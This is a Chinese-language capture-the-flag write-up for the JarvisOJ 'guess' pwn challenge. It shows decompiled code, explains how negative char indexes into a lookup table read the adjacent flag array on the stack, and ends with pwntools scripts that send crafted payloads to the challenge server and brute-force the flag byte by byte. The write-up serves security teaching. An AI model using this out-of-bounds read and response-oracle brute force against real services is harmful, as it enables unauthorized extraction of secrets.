JarvisOJ (pwn)guess

先看一下函數結構:
main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  struct sockaddr addr; // [rsp+0h] [rbp-20h]
  __pid_t v4; // [rsp+14h] [rbp-Ch]
  int v5; // [rsp+18h] [rbp-8h]
  int fd; // [rsp+1Ch] [rbp-4h]

  fd = socket(2, 1, 0);
  if ( fd == -1 )
  {
    perror("unable to create server socket");
    exit(1);
  }
  *&addr.sa_family = 0LL;
  *&addr.sa_data[6] = 0LL;
  addr.sa_family = 2;
  *addr.sa_data = htons(0x270Fu);
  if ( bind(fd, &addr, 0x10u) )
  {
    perror("unable to bind socket");
    exit(1);
  }
  if ( listen(fd, 16) )
  {
    perror("deaf");
    exit(1);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      v5 = accept(fd, 0LL, 0LL);
      if ( v5 != -1 )
        break;
      perror("accept failed, is this bad?");
    }
    v4 = fork();
    if ( v4 == -1 )
    {
      perror("can't fork! that's bad, I think.");
      close(v5);
      sleep(1u);
    }
    else
    {
      if ( !v4 )
      {
        close(fd);
        handle(v5);
        exit(0);
      }
      close(v5);
    }
  }
}

main函數的結構沒什麼看的,就是一個進程...(是一個流式套接字開啓了一個9999號端口,建立連接之後會開啓新的進程,用handle來獲取進程)..直接打開handle函數看一下

handle:
 

char *__fastcall handle(int a1)
{
  signed __int64 v1; // rsi
  char *result; // rax
  char s; // [rsp+10h] [rbp-1010h]
  _BOOL4 v4; // [rsp+101Ch] [rbp-4h]

  alarm(0x78u);
  if ( dup2(a1, 0) == -1 || dup2(a1, 1) == -1 )
    exit(1);
  v1 = 0LL;
  setbuf(stdout, 0LL);
  puts(
    "Notice: Important!!\n"
    "This is a test program for you to test on localhost.\n"
    "Notice flag in this test program starts with `FAKE{` and the\n"
    "program on server has the real flag which starts with `PCTF{`\n"
    "\n"
    "\n"
    "\n"
    "Welcome to the super-secret flag guess validation system!\n"
    "Unfortunately, it only works for the flag for this challenge though.\n"
    "The correct flag is 50 characters long, begins with `PCTF{` and\n"
    "ends with `}` (without the quotes). All characters in the flag\n"
    "are lowercase hex (so they are in [0-9a-f]).\n"
    "\n"
    "Before you can submit your flag guess, you have to encode the\n"
    "whole guess with hex again (including the `PCTF{` and the `}`).\n"
    "This protects the flag from corruption through network nodes that\n"
    "can't handle non-hex traffic properly, just like in email.\n");
  while ( 1 )
  {
    printf("guess> ", v1);
    v1 = 4096LL;
    result = fgets(&s, 4096, stdin);
    if ( !result )
      break;
    rtrim(&s);
    v4 = is_flag_correct(&s);
    if ( v4 )
      puts(
        "Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!");
    else
      puts("Nope.");
  }
  return result;
}

is_flag_correct:

_BOOL8 __fastcall is_flag_correct(const char *flag_hex)
{
  unsigned int v1; // eax
  char given_flag[64]; // [rsp+10h] [rbp-190h]
  int flag; // [rsp+50h] [rbp-150h]
  int v5; // [rsp+54h] [rbp-14Ch]
  int v6; // [rsp+58h] [rbp-148h]
  int v7; // [rsp+5Ch] [rbp-144h]
  int v8; // [rsp+60h] [rbp-140h]
  int v9; // [rsp+64h] [rbp-13Ch]
  int v10; // [rsp+68h] [rbp-138h]
  int v11; // [rsp+6Ch] [rbp-134h]
  int v12; // [rsp+70h] [rbp-130h]
  int v13; // [rsp+74h] [rbp-12Ch]
  int v14; // [rsp+78h] [rbp-128h]
  int v15; // [rsp+7Ch] [rbp-124h]
  __int16 v16; // [rsp+80h] [rbp-120h]
  char bin_by_hex[258]; // [rsp+90h] [rbp-110h]
  char value2; // [rsp+192h] [rbp-Eh]
  char value1; // [rsp+193h] [rbp-Dh]
  int j; // [rsp+194h] [rbp-Ch]
  char v21; // [rsp+19Bh] [rbp-5h]
  int i; // [rsp+19Ch] [rbp-4h]

  if ( strlen(flag_hex) != 100 )
  {
    v1 = strlen(flag_hex);
    printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
    exit(0);
  }
  qmemcpy(bin_by_hex, &unk_401100, 0x100uLL);
  flag = 'EKAF';
  v5 = '3b9{';
  v6 = '3e55';
  v7 = '2d49';
  v8 = 'e070';
  v9 = 'd0db';
  v10 = '591f';
  v11 = '2b8d';
  v12 = '0543';
  v13 = '2cc9';
  v14 = '2729';
  v15 = '14cb';
  v16 = '}2';
  bzero(given_flag, 0x32uLL);
  for ( i = 0; i <= 49; ++i )
  {
    value1 = bin_by_hex[flag_hex[2 * i]];
    value2 = bin_by_hex[flag_hex[2 * i + 1]];
    if ( value1 == -1 || value2 == -1 )
    {
      puts("bad input – one of the characters you supplied was not a valid hex character!");
      exit(0);
    }
    given_flag[i] = value2 | 16 * value1;
  }
  v21 = 0;
  for ( j = 0; j <= 49; ++j )
    v21 |= flag[j] ^ given_flag[j];
  return v21 == 0;
}

flag數組:FAKE{9b355e394d2070edbd0f195d8b234509cc29272bc412}
主要的的驗證部分:
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]]
查看堆棧空間發現

-0000000000000190 given_flag      db 50 dup(?)
-000000000000015E                 db ? ; undefined
-000000000000015D                 db ? ; undefined
-000000000000015C                 db ? ; undefined
-000000000000015B                 db ? ; undefined
-000000000000015A                 db ? ; undefined
-0000000000000159                 db ? ; undefined
-0000000000000158                 db ? ; undefined
-0000000000000157                 db ? ; undefined
-0000000000000156                 db ? ; undefined
-0000000000000155                 db ? ; undefined
-0000000000000154                 db ? ; undefined
-0000000000000153                 db ? ; undefined
-0000000000000152                 db ? ; undefined
-0000000000000151                 db ? ; undefined
-0000000000000150 flag            db 50 dup(?)
-000000000000011E                 db ? ; undefined
-000000000000011D                 db ? ; undefined
-000000000000011C                 db ? ; undefined
-000000000000011B                 db ? ; undefined
-000000000000011A                 db ? ; undefined
-0000000000000119                 db ? ; undefined
-0000000000000118                 db ? ; undefined
-0000000000000117                 db ? ; undefined
-0000000000000116                 db ? ; undefined
-0000000000000115                 db ? ; undefined
-0000000000000114                 db ? ; undefined
-0000000000000113                 db ? ; undefined
-0000000000000112                 db ? ; undefined
-0000000000000111                 db ? ; undefined
-0000000000000110 bin_by_hex      db 256 dup(?)

flag的地址是bin_by_hex+0x40
程序中又通過bin_by_hex這個數組取值
那麼如果index爲負數,就會取到flag數組中的數
具體怎麼利用:
char字符可以設置爲[-128,0),[0,127]這麼大範圍,剛好包括2個數組,

#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
using namespace std;
int main()
{
    char flag_hex[256];
    int i;
    for (i = 1; i <= 255; i++)
    {
        flag_hex[i] = i;
        printf("%d:%d\n",i, flag_hex[i]);
    }

}

得到的運行結果是:

190:-66
191:-65
192:-64
193:-63
194:-62
195:-61

由此可見
-64(0x40)對應的是192
所以我們可以設置下標起始爲192從而正確的輸出flag
不能直接寫-64是因爲python裏規定字符串的下標只能是正的

再回到原來的結構:
given_flag=value2+16 * value1
只要value1=0,value2=flag[-40]~flag[-1]
那麼得到的given_flag[i]就是flag

from pwn import *
import string

#context.log_level = 'debug'

payload=""
for i in range(50):
    payload+="0"+chr(0x40+128+i)



Io=remote("pwn.jarvisoj.com",9878)
Io.recvuntil("guess>")
Io.sendline(payload)

Io.recvline()
Io.close()

這個payload可以走到正確的地方,但是打印不出flag
所以我們採用爆破的辦法
控制其爲一位一位驗證
先讓given_flag[1]~given_flag[49]是flag的內容(以上exp)
對given_flag[0]進行爆破,再逐次向後爆破。寫得腳本(如下exp)

#!/usr/bin/env python
#coding:utf-8


from pwn import *
import string

#context.log_level = 'debug'

payload=""
for i in range(50):
    payload+="0"+chr(0x40+128+i)



Io=remote("pwn.jarvisoj.com",9878)
Io.recvuntil("guess>")
Io.sendline(payload)

Io.recvline()
Io.close()
Io = remote("pwn.jarvisoj.com", 9878)
Io.recvuntil("guess>")

flag=list(payload)
YES='Yaaaay!'
Flag=''
for i in range(50):
    for j in string.printable:
        flag[2*i]=j.encode('hex')[0]
        flag[2*i+1]=j.encode('hex')[1]
        Io.sendline("".join(flag))
        print flag
        Re=Io.recvline()
        print Re
        print Flag
        if (YES in Re)==1:
            Flag+=j
            break
Io.interactive()

此題漏洞是約束條件不完整,
數組的約束也能產生漏洞。
注意下標和內容的對應
真正的內容肯能藏在下標裏面而不是內容
 

參考wp:https://blog.csdn.net/qq_38204481/article/details/80872005
https://blog.csdn.net/github_36788573/article/details/80719888

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章